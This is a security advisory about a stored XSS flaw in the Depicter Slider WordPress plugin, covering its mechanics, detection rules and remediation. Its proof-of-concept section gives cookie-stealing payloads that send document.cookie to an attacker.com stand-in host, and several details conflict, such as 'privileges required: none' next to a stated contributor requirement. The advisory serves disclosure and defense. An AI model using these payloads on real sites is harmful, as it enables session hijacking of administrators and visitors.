CVE-2024-47381

Executive Summary

CVE-2024-47381 is a Stored Cross-Site Scripting (XSS) vulnerability in the Averta Depicter Slider WordPress plugin, affecting versions up to and including 3.2.2. This flaw allows an authenticated attacker with contributor-level access or higher to inject arbitrary web scripts into slider content, which are then stored and executed in the browsers of other users (including administrators) when the slider is rendered. The vulnerability arises from improper neutralization of user-supplied input during web page generation. As of this report, no official patch has been released, and the vendor’s patch status remains unknown. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk is elevated for WordPress sites using this plugin due to the potential for privilege escalation and site compromise.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin installation and monitor for updates from the vendor. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors distributing modified versions.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 5.9 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None (but requires user interaction)
• User Interaction: Required (victim must view the slider)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. The vulnerability requires user interaction and is limited to stored XSS, but it can be chained with other attacks (e.g., CSRF) to escalate privileges or steal session cookies.

Deep Dive & Mechanics

The Depicter Slider plugin allows users to create and manage sliders with custom HTML, CSS, and JavaScript content. The vulnerability exists in the slider content input fields where user-supplied data is not properly sanitized before being stored in the database and later rendered on the frontend. An attacker with contributor-level access can inject malicious JavaScript into slider elements (e.g., text layers, image captions). When an administrator or other user views the slider in the admin panel or on the public site, the injected script executes in their browser context.

Root Cause: The plugin uses wp_kses() or similar functions incorrectly, or fails to escape output in certain contexts, allowing script tags or event handlers (e.g., onmouseover, onload) to persist.

Attack Flow:

1. Attacker logs in as a contributor or higher.
2. Creates or edits a slider, injecting <script>alert('XSS')</script> into a text field.
3. Saves the slider; the payload is stored in the WordPress database.
4. Victim (admin or visitor) loads a page containing the slider.
5. The payload executes, potentially stealing cookies, redirecting to malicious sites, or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the slider rendering functions. A typical vulnerable pattern in WordPress plugins is:

// Vulnerable: direct output without escaping
echo $slider_content;

A patched version would use:

// Patched: escape output
echo esc_html( $slider_content );

Or for rich content:

echo wp_kses_post( $slider_content );

Exploitation & Lab Setup

Red Team (Proof of Concept)

Prerequisites: WordPress instance with Depicter Slider <= 3.2.2, contributor-level account.

Step 1: Create a malicious slider

1. Log in as a contributor.
2. Navigate to Depicter → Add New Slider.
3. Add a text layer with the following payload:

   <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
   

4. Save and publish the slider.

Step 2: Trigger the XSS

• As an admin, view the slider in the admin panel or on a page where the slider is embedded.
• The payload executes, sending the admin’s cookies to the attacker’s server.

Alternative payload (session hijacking):

<script>new Image().src='https://attacker.com/steal?c='+document.cookie;</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual slider content containing script tags or event handlers.
• Use Web Application Firewall (WAF) rules to block common XSS patterns in POST requests to slider endpoints.

Hardening:

• Restrict contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Use a WordPress security plugin to monitor file changes and detect malicious injections.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None available; monitor for modified plugin files)
• Network Indicators:
  • Outbound connections to unknown domains from WordPress admin pages.
  • HTTP requests containing document.cookie in the query string.
• Log Entries:
  • Suspicious POST requests to /wp-admin/admin-ajax.php with slider data containing <script> tags.
  • Unusual user agent strings in admin panel access logs.
• Database Indicators:
  • Rows in wp_postmeta or custom plugin tables containing JavaScript payloads.

Detection Engineering

YARA Rule

rule Detect_Depicter_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads targeting Depicter Slider"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-47381"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/is
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/is
        $xss4 = /onmouseover\s*=\s*["']?[^"']*["']?/is
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: Depicter Slider Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS payloads in Depicter Slider plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'depicter'
        cs-request-body|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'onmouseover='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in slider content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-47381 Depicter Slider Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"depicter"; http_uri; pcre:"/(<script|onerror=|onload=|onmouseover=)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Restrict user roles – only allow trusted administrators to create/edit sliders.
3. Apply virtual patching via WAF rules to block XSS payloads in slider input fields.

Long-term Fix:

• Monitor the vendor’s website or WordPress plugin repository for an official update.
• Consider replacing the plugin with an alternative that is actively maintained and patched.

Workaround:

• Use a WordPress security plugin (e.g., Wordfence) to add firewall rules that block common XSS patterns in POST data.

Valters IT
Securing Digital Frontiers